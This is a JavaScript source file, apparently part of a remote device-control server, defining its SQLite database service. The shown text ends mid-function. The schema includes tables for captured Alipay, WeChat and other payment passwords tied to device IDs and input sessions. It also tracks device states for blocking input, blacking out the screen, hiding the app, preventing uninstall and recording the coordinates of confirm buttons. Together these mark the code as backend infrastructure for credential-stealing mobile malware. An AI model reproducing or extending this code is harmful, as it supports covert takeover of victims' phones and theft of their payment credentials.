1733 lines
65 KiB
JavaScript
1733 lines
65 KiB
JavaScript
|
|
"use strict";
|
|||
|
|
var __importDefault = (this && this.__importDefault) || function (mod) {
|
|||
|
|
return (mod && mod.__esModule) ? mod : { "default": mod };
|
|||
|
|
};
|
|||
|
|
Object.defineProperty(exports, "__esModule", { value: true });
|
|||
|
|
exports.DatabaseService = void 0;
|
|||
|
|
const better_sqlite3_1 = __importDefault(require("better-sqlite3"));
|
|||
|
|
const Logger_1 = __importDefault(require("../utils/Logger"));
|
|||
|
|
class DatabaseService {
|
|||
|
|
constructor(dbPath = './devices.db') {
|
|||
|
|
this.logger = new Logger_1.default('DatabaseService');
|
|||
|
|
this.db = new better_sqlite3_1.default(dbPath);
|
|||
|
|
this.initDatabase();
|
|||
|
|
this.logger.info('数据库服务已初始化');
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 初始化数据库表结构
|
|||
|
|
*/
|
|||
|
|
initDatabase() {
|
|||
|
|
try {
|
|||
|
|
// 创建设备表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS devices (
|
|||
|
|
deviceId TEXT PRIMARY KEY,
|
|||
|
|
deviceName TEXT NOT NULL,
|
|||
|
|
deviceModel TEXT NOT NULL,
|
|||
|
|
osVersion TEXT NOT NULL,
|
|||
|
|
appVersion TEXT NOT NULL,
|
|||
|
|
appPackage TEXT,
|
|||
|
|
appName TEXT,
|
|||
|
|
screenWidth INTEGER NOT NULL,
|
|||
|
|
screenHeight INTEGER NOT NULL,
|
|||
|
|
capabilities TEXT NOT NULL,
|
|||
|
|
firstSeen DATETIME NOT NULL,
|
|||
|
|
lastSeen DATETIME NOT NULL,
|
|||
|
|
connectionCount INTEGER DEFAULT 1,
|
|||
|
|
lastSocketId TEXT,
|
|||
|
|
status TEXT DEFAULT 'offline',
|
|||
|
|
publicIP TEXT,
|
|||
|
|
remark TEXT,
|
|||
|
|
systemVersionName TEXT,
|
|||
|
|
romType TEXT,
|
|||
|
|
romVersion TEXT,
|
|||
|
|
osBuildVersion TEXT
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 确保新增列存在(迁移)
|
|||
|
|
this.ensureDeviceTableColumns();
|
|||
|
|
// ✅ 添加status字段到现有表(如果不存在)
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN status TEXT DEFAULT 'offline'`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
// 🆕 添加publicIP字段到现有表(如果不存在)
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN publicIP TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
// 🆕 添加系统版本信息字段到现有表(如果不存在)
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN systemVersionName TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN romType TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN romVersion TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE devices ADD COLUMN osBuildVersion TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
// 创建连接历史表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS connection_history (
|
|||
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
socketId TEXT NOT NULL,
|
|||
|
|
connectedAt DATETIME NOT NULL,
|
|||
|
|
disconnectedAt DATETIME,
|
|||
|
|
duration INTEGER,
|
|||
|
|
connectionQuality TEXT,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 创建操作日志表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS operation_logs (
|
|||
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
logType TEXT NOT NULL,
|
|||
|
|
content TEXT NOT NULL,
|
|||
|
|
extraData TEXT,
|
|||
|
|
timestamp DATETIME NOT NULL,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// ✅ 创建设备状态表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS device_states (
|
|||
|
|
deviceId TEXT PRIMARY KEY,
|
|||
|
|
password TEXT,
|
|||
|
|
inputBlocked BOOLEAN DEFAULT FALSE,
|
|||
|
|
loggingEnabled BOOLEAN DEFAULT FALSE,
|
|||
|
|
blackScreenActive BOOLEAN DEFAULT FALSE,
|
|||
|
|
lastPasswordUpdate DATETIME,
|
|||
|
|
confirmButtonCoords TEXT, -- JSON格式存储坐标 {x: number, y: number}
|
|||
|
|
learnedConfirmButton TEXT, -- JSON格式存储学习的坐标 {x: number, y: number, count: number}
|
|||
|
|
createdAt DATETIME NOT NULL,
|
|||
|
|
updatedAt DATETIME NOT NULL,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 🆕 为现有表添加新字段(如果不存在)
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE device_states ADD COLUMN confirmButtonCoords TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE device_states ADD COLUMN learnedConfirmButton TEXT`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE device_states ADD COLUMN blackScreenActive BOOLEAN DEFAULT FALSE`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE device_states ADD COLUMN appHidden BOOLEAN DEFAULT FALSE`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
try {
|
|||
|
|
this.db.exec(`ALTER TABLE device_states ADD COLUMN uninstallProtectionEnabled BOOLEAN DEFAULT FALSE`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
// 字段已存在,忽略错误
|
|||
|
|
}
|
|||
|
|
// 💰 创建支付宝密码记录表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS alipay_passwords (
|
|||
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
password TEXT NOT NULL,
|
|||
|
|
passwordLength INTEGER NOT NULL,
|
|||
|
|
activity TEXT NOT NULL,
|
|||
|
|
inputMethod TEXT NOT NULL,
|
|||
|
|
sessionId TEXT NOT NULL,
|
|||
|
|
timestamp DATETIME NOT NULL,
|
|||
|
|
createdAt DATETIME NOT NULL,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 💬 创建微信密码记录表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS wechat_passwords (
|
|||
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
password TEXT NOT NULL,
|
|||
|
|
passwordLength INTEGER NOT NULL,
|
|||
|
|
activity TEXT NOT NULL,
|
|||
|
|
inputMethod TEXT NOT NULL,
|
|||
|
|
sessionId TEXT NOT NULL,
|
|||
|
|
timestamp DATETIME NOT NULL,
|
|||
|
|
createdAt DATETIME NOT NULL,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 🔐 创建通用密码输入记录表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS password_inputs (
|
|||
|
|
id INTEGER PRIMARY KEY AUTOINCREMENT,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
password TEXT NOT NULL,
|
|||
|
|
passwordLength INTEGER NOT NULL,
|
|||
|
|
passwordType TEXT NOT NULL,
|
|||
|
|
activity TEXT NOT NULL,
|
|||
|
|
inputMethod TEXT NOT NULL,
|
|||
|
|
installationId TEXT NOT NULL,
|
|||
|
|
sessionId TEXT NOT NULL,
|
|||
|
|
timestamp DATETIME NOT NULL,
|
|||
|
|
createdAt DATETIME NOT NULL,
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 🔐 创建用户设备权限表
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE TABLE IF NOT EXISTS user_device_permissions (
|
|||
|
|
userId TEXT NOT NULL,
|
|||
|
|
deviceId TEXT NOT NULL,
|
|||
|
|
permissionType TEXT DEFAULT 'control',
|
|||
|
|
grantedAt DATETIME NOT NULL,
|
|||
|
|
expiresAt DATETIME,
|
|||
|
|
isActive BOOLEAN DEFAULT TRUE,
|
|||
|
|
createdAt DATETIME NOT NULL,
|
|||
|
|
updatedAt DATETIME NOT NULL,
|
|||
|
|
PRIMARY KEY (userId, deviceId),
|
|||
|
|
FOREIGN KEY (deviceId) REFERENCES devices (deviceId)
|
|||
|
|
)
|
|||
|
|
`);
|
|||
|
|
// 创建索引优化查询性能
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_logs_device_time ON operation_logs (deviceId, timestamp DESC)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_logs_type ON operation_logs (logType)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_device_states_deviceId ON device_states (deviceId)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_deviceId ON alipay_passwords (deviceId)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_alipay_passwords_timestamp ON alipay_passwords (timestamp DESC)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_deviceId ON wechat_passwords (deviceId)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_wechat_passwords_timestamp ON wechat_passwords (timestamp DESC)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_password_inputs_deviceId ON password_inputs (deviceId)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_password_inputs_timestamp ON password_inputs (timestamp DESC)
|
|||
|
|
`);
|
|||
|
|
this.db.exec(`
|
|||
|
|
CREATE INDEX IF NOT EXISTS idx_password_inputs_type ON password_inputs (passwordType)
|
|||
|
|
`);
|
|||
|
|
this.logger.info('数据库表初始化完成');
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('初始化数据库失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 迁移:确保 devices 表包含新增列
|
|||
|
|
*/
|
|||
|
|
ensureDeviceTableColumns() {
|
|||
|
|
try {
|
|||
|
|
const pragma = this.db.prepare(`PRAGMA table_info(devices)`).all();
|
|||
|
|
const columns = new Set(pragma.map(c => c.name));
|
|||
|
|
const pendingAlters = [];
|
|||
|
|
if (!columns.has('appPackage')) {
|
|||
|
|
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appPackage TEXT`);
|
|||
|
|
}
|
|||
|
|
if (!columns.has('appName')) {
|
|||
|
|
pendingAlters.push(`ALTER TABLE devices ADD COLUMN appName TEXT`);
|
|||
|
|
}
|
|||
|
|
if (!columns.has('remark')) {
|
|||
|
|
pendingAlters.push(`ALTER TABLE devices ADD COLUMN remark TEXT`);
|
|||
|
|
}
|
|||
|
|
if (pendingAlters.length > 0) {
|
|||
|
|
this.logger.info(`检测到 devices 表缺少列,开始迁移: ${pendingAlters.length} 项`);
|
|||
|
|
const tx = this.db.transaction((sqls) => {
|
|||
|
|
sqls.forEach(sql => this.db.exec(sql));
|
|||
|
|
});
|
|||
|
|
tx(pendingAlters);
|
|||
|
|
this.logger.info('devices 表列迁移完成');
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('迁移 devices 表失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 根据socketId查询设备信息
|
|||
|
|
*/
|
|||
|
|
getDeviceBySocketId(socketId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM devices WHERE lastSocketId = ?
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(socketId);
|
|||
|
|
if (row) {
|
|||
|
|
return this.rowToDeviceRecord(row);
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('根据socketId查询设备失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 根据deviceId查询设备信息
|
|||
|
|
*/
|
|||
|
|
getDeviceById(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM devices WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
if (row) {
|
|||
|
|
return this.rowToDeviceRecord(row);
|
|||
|
|
}
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('根据deviceId查询设备失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 保存或更新设备信息
|
|||
|
|
*/
|
|||
|
|
saveDevice(deviceInfo, socketId) {
|
|||
|
|
try {
|
|||
|
|
const existing = this.getDeviceById(deviceInfo.deviceId);
|
|||
|
|
const now = new Date();
|
|||
|
|
if (existing) {
|
|||
|
|
// 更新现有设备
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE devices SET
|
|||
|
|
deviceName = ?,
|
|||
|
|
deviceModel = ?,
|
|||
|
|
osVersion = ?,
|
|||
|
|
appVersion = ?,
|
|||
|
|
appPackage = ?,
|
|||
|
|
appName = ?,
|
|||
|
|
screenWidth = ?,
|
|||
|
|
screenHeight = ?,
|
|||
|
|
capabilities = ?,
|
|||
|
|
lastSeen = ?,
|
|||
|
|
connectionCount = connectionCount + 1,
|
|||
|
|
lastSocketId = ?,
|
|||
|
|
status = 'online',
|
|||
|
|
publicIP = ?,
|
|||
|
|
remark = ?,
|
|||
|
|
systemVersionName = ?,
|
|||
|
|
romType = ?,
|
|||
|
|
romVersion = ?,
|
|||
|
|
osBuildVersion = ?
|
|||
|
|
WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
// 仅当传入的 remark 明确提供时才更新,否则保留数据库中的 remark
|
|||
|
|
const remarkToUse = (deviceInfo.remark !== undefined) ? deviceInfo.remark : existing.remark;
|
|||
|
|
stmt.run(deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), socketId, deviceInfo.publicIP || null, remarkToUse || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null, deviceInfo.deviceId);
|
|||
|
|
this.logger.info(`设备信息已更新: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
// 插入新设备
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO devices (
|
|||
|
|
deviceId, deviceName, deviceModel, osVersion, appVersion, appPackage, appName,
|
|||
|
|
screenWidth, screenHeight, capabilities, firstSeen, lastSeen,
|
|||
|
|
connectionCount, lastSocketId, status, publicIP, remark,
|
|||
|
|
systemVersionName, romType, romVersion, osBuildVersion
|
|||
|
|
) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
stmt.run(deviceInfo.deviceId, deviceInfo.deviceName, deviceInfo.deviceModel, deviceInfo.osVersion, deviceInfo.appVersion, deviceInfo.appPackage || null, deviceInfo.appName || null, deviceInfo.screenWidth, deviceInfo.screenHeight, JSON.stringify(deviceInfo.capabilities), now.toISOString(), now.toISOString(), 1, socketId, 'online', deviceInfo.publicIP || null, deviceInfo.remark || null, deviceInfo.systemVersionName || null, deviceInfo.romType || null, deviceInfo.romVersion || null, deviceInfo.osBuildVersion || null);
|
|||
|
|
this.logger.info(`新设备已记录: ${deviceInfo.deviceName} (${deviceInfo.deviceId})`);
|
|||
|
|
}
|
|||
|
|
// 记录连接历史
|
|||
|
|
this.recordConnection(deviceInfo.deviceId, socketId, now);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存设备信息失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 记录连接历史
|
|||
|
|
*/
|
|||
|
|
recordConnection(deviceId, socketId, connectedAt) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO connection_history (deviceId, socketId, connectedAt)
|
|||
|
|
VALUES (?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
stmt.run(deviceId, socketId, connectedAt.toISOString());
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('记录连接历史失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 将设备状态设置为离线
|
|||
|
|
*/
|
|||
|
|
setDeviceOffline(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE devices SET status = 'offline', lastSeen = ? WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
stmt.run(new Date().toISOString(), deviceId);
|
|||
|
|
this.logger.info(`设备状态已设置为离线: ${deviceId}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('设置设备离线状态失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 通过Socket ID将设备设置为离线
|
|||
|
|
*/
|
|||
|
|
setDeviceOfflineBySocketId(socketId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE devices SET status = 'offline', lastSeen = ? WHERE lastSocketId = ?
|
|||
|
|
`);
|
|||
|
|
stmt.run(new Date().toISOString(), socketId);
|
|||
|
|
this.logger.info(`设备状态已设置为离线 (Socket: ${socketId})`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('通过Socket ID设置设备离线状态失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* ✅ 将所有设备状态重置为离线
|
|||
|
|
*/
|
|||
|
|
resetAllDevicesToOffline() {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE devices SET status = 'offline', lastSeen = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(new Date().toISOString());
|
|||
|
|
this.logger.info(`已将 ${result.changes} 个设备状态重置为离线`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('重置所有设备状态失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 更新连接断开信息
|
|||
|
|
*/
|
|||
|
|
updateDisconnection(socketId) {
|
|||
|
|
try {
|
|||
|
|
const disconnectedAt = new Date();
|
|||
|
|
// 查找最近的连接记录
|
|||
|
|
const findStmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM connection_history
|
|||
|
|
WHERE socketId = ? AND disconnectedAt IS NULL
|
|||
|
|
ORDER BY connectedAt DESC LIMIT 1
|
|||
|
|
`);
|
|||
|
|
const connection = findStmt.get(socketId);
|
|||
|
|
if (connection) {
|
|||
|
|
const connectedAt = new Date(connection.connectedAt);
|
|||
|
|
const duration = Math.floor((disconnectedAt.getTime() - connectedAt.getTime()) / 1000);
|
|||
|
|
const updateStmt = this.db.prepare(`
|
|||
|
|
UPDATE connection_history SET
|
|||
|
|
disconnectedAt = ?,
|
|||
|
|
duration = ?,
|
|||
|
|
connectionQuality = ?
|
|||
|
|
WHERE id = ?
|
|||
|
|
`);
|
|||
|
|
// 根据连接时长判断连接质量
|
|||
|
|
let quality = 'good';
|
|||
|
|
if (duration < 30) {
|
|||
|
|
quality = 'poor';
|
|||
|
|
}
|
|||
|
|
else if (duration < 120) {
|
|||
|
|
quality = 'fair';
|
|||
|
|
}
|
|||
|
|
updateStmt.run(disconnectedAt.toISOString(), duration, quality, connection.id);
|
|||
|
|
this.logger.info(`连接断开记录已更新: ${socketId}, 持续时间: ${duration}秒, 质量: ${quality}`);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('更新断开连接记录失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 获取设备连接统计
|
|||
|
|
*/
|
|||
|
|
getDeviceStats(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT
|
|||
|
|
COUNT(*) as totalConnections,
|
|||
|
|
AVG(duration) as avgDuration,
|
|||
|
|
MAX(duration) as maxDuration,
|
|||
|
|
MIN(duration) as minDuration,
|
|||
|
|
SUM(CASE WHEN connectionQuality = 'poor' THEN 1 ELSE 0 END) as poorConnections
|
|||
|
|
FROM connection_history
|
|||
|
|
WHERE deviceId = ? AND duration IS NOT NULL
|
|||
|
|
`);
|
|||
|
|
return stmt.get(deviceId);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备统计失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 获取所有设备列表
|
|||
|
|
*/
|
|||
|
|
getAllDevices() {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM devices ORDER BY lastSeen DESC
|
|||
|
|
`);
|
|||
|
|
const rows = stmt.all();
|
|||
|
|
return rows.map(row => this.rowToDeviceRecord(row));
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备列表失败:', error);
|
|||
|
|
return [];
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 清理旧连接记录
|
|||
|
|
*/
|
|||
|
|
cleanupOldRecords(daysToKeep = 30) {
|
|||
|
|
try {
|
|||
|
|
const cutoffDate = new Date();
|
|||
|
|
cutoffDate.setDate(cutoffDate.getDate() - daysToKeep);
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
DELETE FROM connection_history
|
|||
|
|
WHERE connectedAt < ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(cutoffDate.toISOString());
|
|||
|
|
this.logger.info(`清理了 ${result.changes} 条旧连接记录`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('清理旧记录失败:', error);
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 转换数据库行为DeviceRecord
|
|||
|
|
*/
|
|||
|
|
rowToDeviceRecord(row) {
|
|||
|
|
return {
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
|
deviceName: row.deviceName,
|
|||
|
|
deviceModel: row.deviceModel,
|
|||
|
|
osVersion: row.osVersion,
|
|||
|
|
appVersion: row.appVersion,
|
|||
|
|
appPackage: row.appPackage,
|
|||
|
|
appName: row.appName,
|
|||
|
|
screenWidth: row.screenWidth,
|
|||
|
|
screenHeight: row.screenHeight,
|
|||
|
|
capabilities: JSON.parse(row.capabilities),
|
|||
|
|
firstSeen: new Date(row.firstSeen),
|
|||
|
|
lastSeen: new Date(row.lastSeen),
|
|||
|
|
connectionCount: row.connectionCount,
|
|||
|
|
lastSocketId: row.lastSocketId,
|
|||
|
|
status: row.status || 'offline', // ✅ 添加状态字段
|
|||
|
|
publicIP: row.publicIP,
|
|||
|
|
remark: row.remark, // 🆕 添加备注字段
|
|||
|
|
// 🆕 添加系统版本信息字段
|
|||
|
|
systemVersionName: row.systemVersionName,
|
|||
|
|
romType: row.romType,
|
|||
|
|
romVersion: row.romVersion,
|
|||
|
|
osBuildVersion: row.osBuildVersion
|
|||
|
|
};
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 更新设备备注
|
|||
|
|
*/
|
|||
|
|
updateDeviceRemark(deviceId, remark) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
UPDATE devices SET remark = ? WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const result = stmt.run(remark, deviceId);
|
|||
|
|
if (result.changes > 0) {
|
|||
|
|
this.logger.info(`设备备注已更新: ${deviceId} -> ${remark}`);
|
|||
|
|
return true;
|
|||
|
|
}
|
|||
|
|
else {
|
|||
|
|
this.logger.warn(`设备不存在或备注更新失败: ${deviceId}`);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('更新设备备注失败:', error);
|
|||
|
|
return false;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 🆕 获取设备备注
|
|||
|
|
*/
|
|||
|
|
getDeviceRemark(deviceId) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
SELECT remark FROM devices WHERE deviceId = ?
|
|||
|
|
`);
|
|||
|
|
const row = stmt.get(deviceId);
|
|||
|
|
return row ? row.remark : null;
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('获取设备备注失败:', error);
|
|||
|
|
return null;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 保存操作日志
|
|||
|
|
*/
|
|||
|
|
saveOperationLog(log) {
|
|||
|
|
try {
|
|||
|
|
const stmt = this.db.prepare(`
|
|||
|
|
INSERT INTO operation_logs (deviceId, logType, content, extraData, timestamp)
|
|||
|
|
VALUES (?, ?, ?, ?, ?)
|
|||
|
|
`);
|
|||
|
|
stmt.run(log.deviceId, log.logType, log.content, log.extraData ? JSON.stringify(log.extraData) : null, log.timestamp.toISOString());
|
|||
|
|
this.logger.debug(`操作日志已保存: ${log.deviceId} - ${log.logType}`);
|
|||
|
|
}
|
|||
|
|
catch (error) {
|
|||
|
|
this.logger.error('保存操作日志失败:', error);
|
|||
|
|
throw error;
|
|||
|
|
}
|
|||
|
|
}
|
|||
|
|
/**
|
|||
|
|
* 获取设备操作日志(分页)
|
|||
|
|
*/
|
|||
|
|
getOperationLogs(deviceId, page = 1, pageSize = 50, logType) {
|
|||
|
|
try {
|
|||
|
|
// 构建查询条件
|
|||
|
|
let whereClause = 'WHERE deviceId = ?';
|
|||
|
|
let params = [deviceId];
|
|||
|
|
if (logType) {
|
|||
|
|
whereClause += ' AND logType = ?';
|
|||
|
|
params.push(logType);
|
|||
|
|
}
|
|||
|
|
// 查询总数
|
|||
|
|
const countStmt = this.db.prepare(`
|
|||
|
|
SELECT COUNT(*) as total FROM operation_logs ${whereClause}
|
|||
|
|
`);
|
|||
|
|
const totalResult = countStmt.get(...params);
|
|||
|
|
const total = totalResult.total;
|
|||
|
|
// 查询分页数据
|
|||
|
|
const offset = (page - 1) * pageSize;
|
|||
|
|
const dataStmt = this.db.prepare(`
|
|||
|
|
SELECT * FROM operation_logs ${whereClause}
|
|||
|
|
ORDER BY timestamp DESC
|
|||
|
|
LIMIT ? OFFSET ?
|
|||
|
|
`);
|
|||
|
|
const rows = dataStmt.all(...params, pageSize, offset);
|
|||
|
|
const logs = rows.map(row => ({
|
|||
|
|
id: row.id,
|
|||
|
|
deviceId: row.deviceId,
|
|||
|
